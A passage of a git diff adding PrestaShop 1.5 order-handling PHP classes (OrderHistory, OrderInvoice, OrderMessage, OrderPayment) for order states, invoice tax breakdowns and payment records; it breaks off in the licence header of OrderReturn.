+= Tools::ps_round(Tools::convertPrice($payment->amount, $payment->id_currency, false), 2); + $order->save(); + + $payment->conversion_rate = 1; + $payment->save(); + Db::getInstance()->execute(' + INSERT INTO `'._DB_PREFIX_.'order_invoice_payment` + VALUES('.(int)$invoice->id.', '.(int)$payment->id.', '.(int)$order->id.')'); + } + } + } + + // updates delivery date even if it was already set by another state change + if ($new_os->delivery) + $order->setDelivery(); + + // executes hook + Hook::exec('actionOrderStatusPostUpdate', array( + 'newOrderStatus' => $new_os, + 'id_order' => (int)$order->id, + )); + } + + /** + * Returns the last order state + * @param int $id_order + * @return OrderState|bool + * @deprecated 1.5.0.4 + * @see Order->current_state + */ + public static function getLastOrderState($id_order) + { + Tools::displayAsDeprecated(); + $id_order_state = Db::getInstance()->getValue(' + SELECT `id_order_state` + FROM `'._DB_PREFIX_.'order_history` + WHERE `id_order` = '.(int)$id_order.' + ORDER BY `date_add` DESC, `id_order_history` DESC'); + + // returns false if there is no state + if (!$id_order_state) + return false; + + // else, returns an OrderState object + return new OrderState($id_order_state, Configuration::get('PS_LANG_DEFAULT')); + } + + /** + * @param bool $autodate Optional + * @param array $template_vars Optional + * @param Context $context Optional + * @return bool + */ + public function addWithemail($autodate = true, $template_vars = false, Context $context = null) + { + if (!$context) + $context = Context::getContext(); + $order = new Order($this->id_order); + + if (!$this->add($autodate)) + return false; + + $result = Db::getInstance()->getRow(' + SELECT osl.`template`, c.`lastname`, c.`firstname`, osl.`name` AS osname, c.`email`, os.`module_name` + FROM `'._DB_PREFIX_.'order_history` oh + LEFT JOIN `'._DB_PREFIX_.'orders` o ON oh.`id_order` = o.`id_order` + LEFT JOIN `'._DB_PREFIX_.'customer` c ON o.`id_customer` = c.`id_customer` + LEFT JOIN `'._DB_PREFIX_.'order_state` os ON oh.`id_order_state` = os.`id_order_state` + LEFT JOIN `'._DB_PREFIX_.'order_state_lang` osl ON (os.`id_order_state` = osl.`id_order_state` AND osl.`id_lang` = o.`id_lang`) + WHERE oh.`id_order_history` = '.(int)$this->id.' AND os.`send_email` = 1'); + if (isset($result['template']) && Validate::isEmail($result['email'])) + { + $topic = $result['osname']; + $data = array( + '{lastname}' => $result['lastname'], + '{firstname}' => $result['firstname'], + '{id_order}' => (int)$this->id_order, + '{order_name}' => $order->getUniqReference() + ); + if ($template_vars) + $data = array_merge($data, $template_vars); + + if ($result['module_name']) + { + $module = Module::getInstanceByName($result['module_name']); + if (Validate::isLoadedObject($module) && isset($module->extra_mail_vars) && is_array($module->extra_mail_vars)) + $data = array_merge($data, $module->extra_mail_vars); + } + + $data['{total_paid}'] = Tools::displayPrice((float)$order->total_paid, new Currency((int)$order->id_currency), false); + $data['{order_name}'] = $order->getUniqReference(); + + if (Validate::isLoadedObject($order)) + Mail::Send((int)$order->id_lang, $result['template'], $topic, $data, $result['email'], $result['firstname'].' '.$result['lastname'], + null, null, null, null, _PS_MAIL_DIR_, false, (int)$order->id_shop); + } + + return true; + } + + public function add($autodate = true, $null_values = false) + { + if (!parent::add($autodate)) + return false; + + $order = new Order((int)$this->id_order); + // Update id_order_state attribute in Order + $order->current_state = $this->id_order_state; + $order->update(); + + Hook::exec('actionOrderHistoryAddAfter', array('order_history' => $this)); + + return true; + } + + /** + * @return int + */ + public function isValidated() + { + return Db::getInstance()->getValue(' + SELECT COUNT(oh.`id_order_history`) AS nb + FROM `'._DB_PREFIX_.'order_state` os + LEFT JOIN `'._DB_PREFIX_.'order_history` oh ON (os.`id_order_state` = oh.`id_order_state`) + WHERE oh.`id_order` = '.(int)$this->id_order.' + AND os.`logable` = 1'); + } + +} diff --git a/classes/order/OrderInvoice.php b/classes/order/OrderInvoice.php new file mode 100755 index 0000000..2ab0cdf --- /dev/null +++ b/classes/order/OrderInvoice.php @@ -0,0 +1,681 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderInvoiceCore extends ObjectModel +{ + const TAX_EXCL = 0; + const TAX_INCL = 1; + const DETAIL = 2; + + /** @var integer */ + public $id_order; + + /** @var integer */ + public $number; + + /** @var integer */ + public $delivery_number; + + /** @var integer */ + public $delivery_date = '0000-00-00 00:00:00'; + + /** @var float */ + public $total_discount_tax_excl; + + /** @var float */ + public $total_discount_tax_incl; + + /** @var float */ + public $total_paid_tax_excl; + + /** @var float */ + public $total_paid_tax_incl; + + /** @var float */ + public $total_products; + + /** @var float */ + public $total_products_wt; + + /** @var float */ + public $total_shipping_tax_excl; + + /** @var float */ + public $total_shipping_tax_incl; + + /** @var int */ + public $shipping_tax_computation_method; + + /** @var float */ + public $total_wrapping_tax_excl; + + /** @var float */ + public $total_wrapping_tax_incl; + + /** @var string note */ + public $note; + + /** @var intger */ + public $date_add; + + /** @var array Total paid cache */ + protected static $_total_paid_cache = array(); + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'order_invoice', + 'primary' => 'id_order_invoice', + 'fields' => array( + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'number' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'delivery_number' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId'), + 'delivery_date' => array('type' => self::TYPE_DATE, 'validate' => 'isDateFormat'), + 'total_discount_tax_excl' =>array('type' => self::TYPE_FLOAT), + 'total_discount_tax_incl' =>array('type' => self::TYPE_FLOAT), + 'total_paid_tax_excl' => array('type' => self::TYPE_FLOAT), + 'total_paid_tax_incl' => array('type' => self::TYPE_FLOAT), + 'total_products' => array('type' => self::TYPE_FLOAT), + 'total_products_wt' => array('type' => self::TYPE_FLOAT), + 'total_shipping_tax_excl' =>array('type' => self::TYPE_FLOAT), + 'total_shipping_tax_incl' =>array('type' => self::TYPE_FLOAT), + 'shipping_tax_computation_method' => array('type' => self::TYPE_INT), + 'total_wrapping_tax_excl' =>array('type' => self::TYPE_FLOAT), + 'total_wrapping_tax_incl' =>array('type' => self::TYPE_FLOAT), + 'note' => array('type' => self::TYPE_STRING, 'validate' => 'isCleanHtml', 'size' => 65000), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + public function getProductsDetail() + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'order_detail` od + LEFT JOIN `'._DB_PREFIX_.'product` p + ON p.id_product = od.product_id + LEFT JOIN `'._DB_PREFIX_.'product_shop` ps ON (ps.id_product = p.id_product AND ps.id_shop = od.id_shop) + WHERE od.`id_order` = '.(int)$this->id_order.' + AND od.`id_order_invoice` = '.(int)$this->id); + } + + /** + * Get order products + * + * @return array Products with price, quantity (with taxe and without) + */ + public function getProducts($products = false, $selectedProducts = false, $selectedQty = false) + { + if (!$products) + $products = $this->getProductsDetail(); + + $order = new Order($this->id_order); + $customized_datas = Product::getAllCustomizedDatas($order->id_cart); + + $resultArray = array(); + foreach ($products as $row) + { + // Change qty if selected + if ($selectedQty) + { + $row['product_quantity'] = 0; + foreach ($selectedProducts as $key => $id_product) + if ($row['id_order_detail'] == $id_product) + $row['product_quantity'] = (int)($selectedQty[$key]); + if (!$row['product_quantity']) + continue; + } + + $this->setProductImageInformations($row); + $this->setProductCurrentStock($row); + $this->setProductCustomizedDatas($row, $customized_datas); + + // Add information for virtual product + if ($row['download_hash'] && !empty($row['download_hash'])) + { + $row['filename'] = ProductDownload::getFilenameFromIdProduct((int)$row['product_id']); + // Get the display filename + $row['display_filename'] = ProductDownload::getFilenameFromFilename($row['filename']); + } + + $row['id_address_delivery'] = $order->id_address_delivery; + + /* Stock product */ + $resultArray[(int)$row['id_order_detail']] = $row; + } + + if ($customized_datas) + Product::addCustomizationPrice($resultArray, $customized_datas); + + return $resultArray; + } + + protected function setProductCustomizedDatas(&$product, $customized_datas) + { + $product['customizedDatas'] = null; + if (isset($customized_datas[$product['product_id']][$product['product_attribute_id']])) + $product['customizedDatas'] = $customized_datas[$product['product_id']][$product['product_attribute_id']]; + else + $product['customizationQuantityTotal'] = 0; + } + + /** + * + * This method allow to add stock information on a product detail + * @param array &$product + */ + protected function setProductCurrentStock(&$product) + { + if (Configuration::get('PS_ADVANCED_STOCK_MANAGEMENT') + && (int)$product['advanced_stock_management'] == 1 + && (int)$product['id_warehouse'] > 0) + $product['current_stock'] = StockManagerFactory::getManager()->getProductPhysicalQuantities($product['product_id'], $product['product_attribute_id'], null, true); + else + $product['current_stock'] = '--'; + } + + /** + * + * This method allow to add image information on a product detail + * @param array &$product + */ + protected function setProductImageInformations(&$product) + { + if (isset($product['product_attribute_id']) && $product['product_attribute_id']) + $id_image = Db::getInstance()->getValue(' + SELECT image_shop.id_image + FROM '._DB_PREFIX_.'product_attribute_image pai'. + Shop::addSqlAssociation('image', 'pai', true).' + WHERE id_product_attribute = '.(int)$product['product_attribute_id']); + + if (!isset($id_image) || !$id_image) + $id_image = Db::getInstance()->getValue(' + SELECT image_shop.id_image + FROM '._DB_PREFIX_.'image i'. + Shop::addSqlAssociation('image', 'i', true, 'image_shop.cover=1').' + WHERE id_product = '.(int)($product['product_id'])); + + $product['image'] = null; + $product['image_size'] = null; + + if ($id_image) + $product['image'] = new Image($id_image); + } + + /** + * This method returns true if at least one order details uses the + * One After Another tax computation method. + * + * @since 1.5 + * @return boolean + */ + public function useOneAfterAnotherTaxComputationMethod() + { + // if one of the order details use the tax computation method the display will be different + return Db::getInstance()->getValue(' + SELECT od.`tax_computation_method` + FROM `'._DB_PREFIX_.'order_detail_tax` odt + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON (od.`id_order_detail` = odt.`id_order_detail`) + WHERE od.`id_order` = '.(int)$this->id_order.' + AND od.`id_order_invoice` = '.(int)$this->id.' + AND od.`tax_computation_method` = '.(int)TaxCalculator::ONE_AFTER_ANOTHER_METHOD + ); + } + + /** + * Returns the correct product taxes breakdown. + * + * @since 1.5 + * @return array + */ + public function getProductTaxesBreakdown() + { + $tmp_tax_infos = array(); + if ($this->useOneAfterAnotherTaxComputationMethod()) + { + // sum by taxes + $taxes_infos = Db::getInstance()->executeS(' + SELECT odt.`id_order_detail`, t.`rate` AS `name`, t.`rate`, SUM(`total_amount`) AS `total_amount` + FROM `'._DB_PREFIX_.'order_detail_tax` odt + LEFT JOIN `'._DB_PREFIX_.'tax` t ON (t.`id_tax` = odt.`id_tax`) + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON (od.`id_order_detail` = odt.`id_order_detail`) + WHERE od.`id_order` = '.(int)$this->id_order.' + AND od.`id_order_invoice` = '.(int)$this->id.' + GROUP BY odt.`id_tax` + '); + + // format response + $tmp_tax_infos = array(); + foreach ($taxes_infos as $tax_infos) + { + $tmp_tax_infos[$tax_infos['rate']]['total_amount'] = $tax_infos['total_amount']; + $tmp_tax_infos[$tax_infos['rate']]['name'] = $tax_infos['name']; + } + + $shipping_taxes = Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'order_invoice_tax` od + LEFT JOIN `'._DB_PREFIX_.'tax` t ON (t.`id_tax` = od.`id_tax`) + WHERE `id_order_invoice` = '.(int)$this->id + ); + + foreach ($shipping_taxes as $tax_infos) + { + if (!isset($tmp_tax_infos[$tax_infos['rate']])) + { + $tmp_tax_infos[$tax_infos['rate']]['total_amount'] = 0; + $tmp_tax_infos[$tax_infos['rate']]['name'] = 0; + } + + $tmp_tax_infos[$tax_infos['rate']]['total_amount'] += $tax_infos['amount']; + $tmp_tax_infos[$tax_infos['rate']]['name'] += $tax_infos['rate']; + } + + + } + else + { + // sum by order details in order to retrieve real taxes rate + $taxes_infos = Db::getInstance()->executeS(' + SELECT odt.`id_order_detail`, t.`rate` AS `name`, SUM(od.`total_price_tax_excl`) AS total_price_tax_excl, SUM(t.`rate`) AS rate, SUM(`total_amount`) AS `total_amount`, od.`ecotax`, od.`ecotax_tax_rate`, od.`product_quantity` + FROM `'._DB_PREFIX_.'order_detail_tax` odt + LEFT JOIN `'._DB_PREFIX_.'tax` t ON (t.`id_tax` = odt.`id_tax`) + LEFT JOIN `'._DB_PREFIX_.'order_detail` od ON (od.`id_order_detail` = odt.`id_order_detail`) + WHERE od.`id_order` = '.(int)$this->id_order.' + AND od.`id_order_invoice` = '.(int)$this->id.' + GROUP BY odt.`id_order_detail` + '); + + // sum by taxes + $tmp_tax_infos = array(); + foreach ($taxes_infos as $tax_infos) + { + if (!isset($tmp_tax_infos[$tax_infos['rate']])) + $tmp_tax_infos[$tax_infos['rate']] = array( + 'total_amount' => 0, + 'name' => 0, + 'total_price_tax_excl' => 0 + ); + + $ratio = $tax_infos['total_price_tax_excl'] / $this->total_products; + $order_reduction_amount = $this->total_discount_tax_excl * $ratio; + $tmp_tax_infos[$tax_infos['rate']]['total_amount'] += ($tax_infos['total_amount'] - Tools::ps_round($tax_infos['ecotax'] * $tax_infos['product_quantity'] * $tax_infos['ecotax_tax_rate'] / 100, 2)); + $tmp_tax_infos[$tax_infos['rate']]['name'] = $tax_infos['name']; + $tmp_tax_infos[$tax_infos['rate']]['total_price_tax_excl'] += $tax_infos['total_price_tax_excl'] - $order_reduction_amount - Tools::ps_round($tax_infos['ecotax'] * $tax_infos['product_quantity'], 2); + } + } + + return $tmp_tax_infos; + } + + /** + * Returns the shipping taxes breakdown + * + * @since 1.5 + * @return array + */ + public function getShippingTaxesBreakdown($order) + { + $taxes_breakdown = array(); + + // shipping cost are added in the product taxes breakdown + if ($this->useOneAfterAnotherTaxComputationMethod()) + return $taxes_breakdown; + + // No shipping breakdown if it's free! + foreach ($order->getCartRules() as $cart_rule) + if ($cart_rule['free_shipping']) + return $taxes_breakdown; + + $shipping_tax_amount = $this->total_shipping_tax_incl - $this->total_shipping_tax_excl; + + if ($shipping_tax_amount > 0) + $taxes_breakdown[] = array( + 'rate' => $order->carrier_tax_rate, + 'total_amount' => $shipping_tax_amount, + 'total_tax_excl' => $this->total_shipping_tax_excl + ); + + return $taxes_breakdown; + } + + /** + * Returns the wrapping taxes breakdown + * @todo + + * @since 1.5 + * @return array + */ + public function getWrappingTaxesBreakdown() + { + $taxes_breakdown = array(); + return $taxes_breakdown; + } + + /** + * Returns the ecotax taxes breakdown + * + * @since 1.5 + * @return array + */ + public function getEcoTaxTaxesBreakdown() + { + $result = Db::getInstance()->executeS(' + SELECT `ecotax_tax_rate` as `rate`, SUM(`ecotax` * `product_quantity`) as `ecotax_tax_excl`, SUM(`ecotax` * `product_quantity`) as `ecotax_tax_incl` + FROM `'._DB_PREFIX_.'order_detail` + WHERE `id_order` = '.(int)$this->id_order.' + AND `id_order_invoice` = '.(int)$this->id.' + GROUP BY `ecotax_tax_rate`'); + + $taxes = array(); + foreach ($result as $row) + if ($row['ecotax_tax_excl'] > 0) + { + $row['ecotax_tax_incl'] = Tools::ps_round($row['ecotax_tax_excl'] + ($row['ecotax_tax_excl'] * $row['rate'] / 100), 2); + $row['ecotax_tax_excl'] = Tools::ps_round($row['ecotax_tax_excl'], 2); + $taxes[] = $row; + } + return $taxes; + } + + /** + * Returns all the order invoice that match the date interval + * + * @since 1.5 + * @static + * @param $date_from + * @param $date_to + * @return array collection of OrderInvoice + */ + public static function getByDateInterval($date_from, $date_to) + { + $order_invoice_list = Db::getInstance()->executeS(' + SELECT oi.* + FROM `'._DB_PREFIX_.'order_invoice` oi + LEFT JOIN `'._DB_PREFIX_.'orders` o ON (o.`id_order` = oi.`id_order`) + WHERE DATE_ADD(oi.date_add, INTERVAL -1 DAY) <= \''.pSQL($date_to).'\' + AND oi.date_add >= \''.pSQL($date_from).'\' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + ORDER BY oi.date_add ASC + '); + + return ObjectModel::hydrateCollection('OrderInvoice', $order_invoice_list); + } + + /** + * @since 1.5.0.3 + * @static + * @param $id_order_state + * @return array collection of OrderInvoice + */ + public static function getByStatus($id_order_state) + { + $order_invoice_list = Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT oi.* + FROM `'._DB_PREFIX_.'order_invoice` oi + LEFT JOIN `'._DB_PREFIX_.'orders` o ON (o.`id_order` = oi.`id_order`) + WHERE '.(int)$id_order_state.' = ( + SELECT id_order_state + FROM '._DB_PREFIX_.'order_history oh + WHERE oh.id_order = o.id_order + ORDER BY date_add DESC, id_order_history DESC + LIMIT 1 + ) + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + ORDER BY oi.`date_add` ASC + '); + + return ObjectModel::hydrateCollection('OrderInvoice', $order_invoice_list); + } + + /** + * @since 1.5.0.3 + * @static + * @param $date_from + * @param $date_to + * @return array collection of invoice + */ + public static function getByDeliveryDateInterval($date_from, $date_to) + { + $order_invoice_list = Db::getInstance()->executeS(' + SELECT oi.* + FROM `'._DB_PREFIX_.'order_invoice` oi + LEFT JOIN `'._DB_PREFIX_.'orders` o ON (o.`id_order` = oi.`id_order`) + WHERE DATE_ADD(oi.delivery_date, INTERVAL -1 DAY) <= \''.pSQL($date_to).'\' + AND oi.date_add >= \''.pSQL($date_from).'\' + '.Shop::addSqlRestriction(Shop::SHARE_ORDER, 'o').' + ORDER BY oi.delivery_date ASC + '); + + return ObjectModel::hydrateCollection('OrderInvoice', $order_invoice_list); + } + + /** + * @since 1.5 + * @static + * @param $id_order_invoice + */ + public static function getCarrier($id_order_invoice) + { + $carrier = false; + if ($id_carrier = OrderInvoice::getCarrierId($id_order_invoice)) + $carrier = new Carrier((int)$id_carrier); + + return $carrier; + } + + /** + * @since 1.5 + * @static + * @param $id_order_invoice + */ + public static function getCarrierId($id_order_invoice) + { + $sql = 'SELECT `id_carrier` + FROM `'._DB_PREFIX_.'order_carrier` + WHERE `id_order_invoice` = '.(int)$id_order_invoice; + + return Db::getInstance()->getValue($sql); + } + + /** + * @static + * @param $id + * @return OrderInvoice + */ + public static function retrieveOneById($id) + { + $order_invoice = new OrderInvoice($id); + if (!Validate::isLoadedObject($order_invoice)) + throw new PrestaShopException('Can\'t load Order Invoice object for id: '.$id); + return $order_invoice; + } + + /** + * Amounts of payments + * @since 1.5.0.2 + * @return float Total paid + */ + public function getTotalPaid() + { + if (!array_key_exists($this->id, self::$_total_paid_cache)) + { + self::$_total_paid_cache[$this->id] = 0; + $payments = OrderPayment::getByInvoiceId($this->id); + foreach ($payments as $payment) + self::$_total_paid_cache[$this->id] += $payment->amount; + } + return self::$_total_paid_cache[$this->id]; + } + + /** + * Rest Paid + * @since 1.5.0.2 + * @return float Rest Paid + */ + public function getRestPaid() + { + return round($this->total_paid_tax_incl + $this->getSiblingTotal() - $this->getTotalPaid(), 2); + } + + + /** + * Return collection of order invoice object linked to the payments of the current order invoice object + * + * @since 1.5.0.14 + */ + public function getSibling() + { + $query = new DbQuery(); + $query->select('oip2.id_order_invoice'); + $query->from('order_invoice_payment', 'oip1'); + $query->innerJoin('order_invoice_payment', 'oip2', + 'oip2.id_order_payment = oip1.id_order_payment AND oip2.id_order_invoice <> oip1.id_order_invoice'); + $query->where('oip1.id_order_invoice = '.$this->id); + + $invoices = Db::getInstance()->executeS($query); + if (!$invoices) + return array(); + + $invoice_list = array(); + foreach ($invoices as $invoice) + $invoice_list[] = $invoice['id_order_invoice']; + + $payments = new Collection('OrderInvoice'); + $payments->where('id_order_invoice', 'IN', $invoice_list); + + return $payments; + } + + + /** + * Return total to paid of sibling invoices + * + * @param int $mod TAX_EXCL, TAX_INCL, DETAIL + * + * @since 1.5.0.14 + */ + public function getSiblingTotal($mod = OrderInvoice::TAX_INCL) + { + $query = new DbQuery(); + $query->select('SUM(oi.total_paid_tax_incl) as total_paid_tax_incl, SUM(oi.total_paid_tax_excl) as total_paid_tax_excl'); + $query->from('order_invoice_payment', 'oip1'); + $query->innerJoin('order_invoice_payment', 'oip2', + 'oip2.id_order_payment = oip1.id_order_payment AND oip2.id_order_invoice <> oip1.id_order_invoice'); + $query->leftJoin('order_invoice', 'oi', + 'oi.id_order_invoice = oip2.id_order_invoice'); + $query->where('oip1.id_order_invoice = '.$this->id); + + $row = Db::getInstance()->getRow($query); + + switch ($mod) + { + case OrderInvoice::TAX_EXCL: + return $row['total_paid_tax_excl']; + case OrderInvoice::TAX_INCL: + return $row['total_paid_tax_incl']; + default: + return $row; + } + } + + /** + * Get global rest to paid + * This method will return something different of the method getRestPaid if + * there is an other invoice linked to the payments of the current invoice + * @since 1.5.0.13 + */ + public function getGlobalRestPaid() + { + static $cache; + + if (!isset($cache[$this->id])) + { + $res = Db::getInstance()->getRow(' + SELECT SUM(sub.paid) paid, SUM(sub.to_paid) to_paid + FROM ( + SELECT + op.amount as paid, SUM(oi.total_paid_tax_incl) to_paid + FROM `'._DB_PREFIX_.'order_invoice_payment` oip1 + INNER JOIN `'._DB_PREFIX_.'order_invoice_payment` oip2 + ON oip2.id_order_payment = oip1.id_order_payment + INNER JOIN `'._DB_PREFIX_.'order_invoice` oi + ON oi.id_order_invoice = oip2.id_order_invoice + INNER JOIN `'._DB_PREFIX_.'order_payment` op + ON op.id_order_payment = oip2.id_order_payment + WHERE oip1.id_order_invoice = '.(int)$this->id.' + GROUP BY op.id_order_payment + ) sub'); + $cache[$this->id] = round($res['to_paid'] - $res['paid'], 2); + } + + return $cache[$this->id]; + } + + /** + * @since 1.5.0.2 + * @return bool Is paid ? + */ + public function isPaid() + { + return $this->getTotalPaid() == $this->total_paid_tax_incl; + } + + /** + * @since 1.5.0.2 + * @return Collection of Order payment + */ + public function getOrderPaymentCollection() + { + return OrderPayment::getByInvoiceId($this->id); + } + + /** + * Get the formatted number of invoice + * @since 1.5.0.2 + * @param int $id_lang for invoice_prefix + * @return string + */ + public function getInvoiceNumberFormatted($id_lang, $id_shop = null) + { + return '#'.Configuration::get('PS_INVOICE_PREFIX', $id_lang, null, $id_shop).sprintf('%06d', $this->number); + } + + public function saveCarrierTaxCalculator(array $taxes_amount) + { + $is_correct = true; + foreach ($taxes_amount as $id_tax => $amount) + { + $sql = 'INSERT INTO `'._DB_PREFIX_.'order_invoice_tax` (`id_order_invoice`, `type`, `id_tax`, `amount`) + VALUES ('.(int)$this->id.', \'shipping\', '.(int)$id_tax.', '.(float)$amount.')'; + + $is_correct &= Db::getInstance()->execute($sql); + } + + return $is_correct; + } +} diff --git a/classes/order/OrderMessage.php b/classes/order/OrderMessage.php new file mode 100755 index 0000000..5ff453d --- /dev/null +++ b/classes/order/OrderMessage.php @@ -0,0 +1,70 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderMessageCore extends ObjectModel +{ + /** @var string name name */ + public $name; + + /** @var string message content */ + public $message; + + /** @var string Object creation date */ + public $date_add; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'order_message', + 'primary' => 'id_order_message', + 'multilang' => true, + 'fields' => array( + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + + // Lang fields + 'name' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isGenericName', 'required' => true, 'size' => 128), + 'message' => array('type' => self::TYPE_STRING, 'lang' => true, 'validate' => 'isMessage', 'required' => true, 'size' => 1200), + ), + ); + + protected $webserviceParameters = array( + 'fields' => array( + 'id' => array('sqlId' => 'id_discount_type', 'xlink_resource' => 'order_message_lang'), + 'date_add' => array('sqlId' => 'date_add') + ) + ); + + public static function getOrderMessages($id_lang) + { + return Db::getInstance(_PS_USE_SQL_SLAVE_)->executeS(' + SELECT om.id_order_message, oml.name, oml.message + FROM '._DB_PREFIX_.'order_message om + LEFT JOIN '._DB_PREFIX_.'order_message_lang oml ON (oml.id_order_message = om.id_order_message) + WHERE oml.id_lang = '.(int)$id_lang.' + ORDER BY name ASC'); + } +} diff --git a/classes/order/OrderPayment.php b/classes/order/OrderPayment.php new file mode 100755 index 0000000..7d2d71b --- /dev/null +++ b/classes/order/OrderPayment.php @@ -0,0 +1,142 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA <contact@prestashop.com> +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +class OrderPaymentCore extends ObjectModel +{ + public $order_reference; + public $id_currency; + public $amount; + public $payment_method; + public $conversion_rate; + public $transaction_id; + public $card_number; + public $card_brand; + public $card_expiration; + public $card_holder; + public $date_add; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'order_payment', + 'primary' => 'id_order_payment', + 'fields' => array( + 'order_reference' => array('type' => self::TYPE_STRING, 'validate' => 'isAnything', 'size' => 9), + 'id_currency' => array('type' => self::TYPE_INT, 'validate' => 'isUnsignedId', 'required' => true), + 'amount' => array('type' => self::TYPE_FLOAT, 'validate' => 'isNegativePrice', 'required' => true), + 'payment_method' => array('type' => self::TYPE_STRING, 'validate' => 'isGenericName'), + 'conversion_rate' => array('type' => self::TYPE_INT, 'validate' => 'isFloat'), + 'transaction_id' => array('type' => self::TYPE_STRING, 'validate' => 'isAnything', 'size' => 254), + 'card_number' => array('type' => self::TYPE_STRING, 'validate' => 'isAnything', 'size' => 254), + 'card_brand' => array('type' => self::TYPE_STRING, 'validate' => 'isAnything', 'size' => 254), + 'card_expiration' => array('type' => self::TYPE_STRING, 'validate' => 'isAnything', 'size' => 254), + 'card_holder' => array('type' => self::TYPE_STRING, 'validate' => 'isAnything', 'size' => 254), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ), + ); + + public function add($autodate = true, $nullValues = false) + { + if (parent::add($autodate, $nullValues)) + { + Hook::exec('actionPaymentCCAdd', array('paymentCC' => $this)); + return true; + } + return false; + } + + /** + * Get the detailed payment of an order + * @param int $id_order + * @return array + */ + public static function getByOrderId($id_order) + { + Tools::displayAsDeprecated(); + $order = new Order($id_order); + return OrderPayment::getByOrderReference($order->reference); + } + + /** + * Get the detailed payment of an order + * @param int $order_reference + * @return array + * @since 1.5.0.13 + */ + public static function getByOrderReference($order_reference) + { + return ObjectModel::hydrateCollection('OrderPayment', + Db::getInstance()->executeS(' + SELECT * + FROM `'._DB_PREFIX_.'order_payment` + WHERE `order_reference` = \''.pSQL($order_reference).'\'') + ); + } + + /** + * Get Order Payments By Invoice ID + * @static + * @param $id_invoice Invoice ID + * @return Collection Collection + */ + public static function getByInvoiceId($id_invoice) + { + $payments = Db::getInstance()->executeS('SELECT id_order_payment FROM `'._DB_PREFIX_.'order_invoice_payment` WHERE id_order_invoice = '.(int)$id_invoice); + if (!$payments) + return array(); + + $payment_list = array(); + foreach ($payments as $payment) + $payment_list[] = $payment['id_order_payment']; + + $payments = new Collection('OrderPayment'); + $payments->where('id_order_payment', 'IN', $payment_list); + return $payments; + } + + /** + * Return order invoice object linked to the payment + * + * @param int $id_order Order Id + * + * @since 1.5.0.13 + */ + public function getOrderInvoice($id_order) + { + $res = Db::getInstance()->getValue(' + SELECT id_order_invoice + FROM `'._DB_PREFIX_.'order_invoice_payment` + WHERE id_order_payment = '.(int)$this->id.' + AND id_order = '.(int)$id_order); + + if (!$res) + return false; + + return new OrderInvoice((int)$res); + } +} + diff --git a/classes/order/OrderReturn.php b/classes/order/OrderReturn.php new file mode 100755 index 0000000..fe4fbd5 --- /dev/null +++ b/classes/order/OrderReturn.php @@ -0,0 +1,247 @@ +<?php +/* +* 2007-2013 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Open Software License (OSL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/osl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author 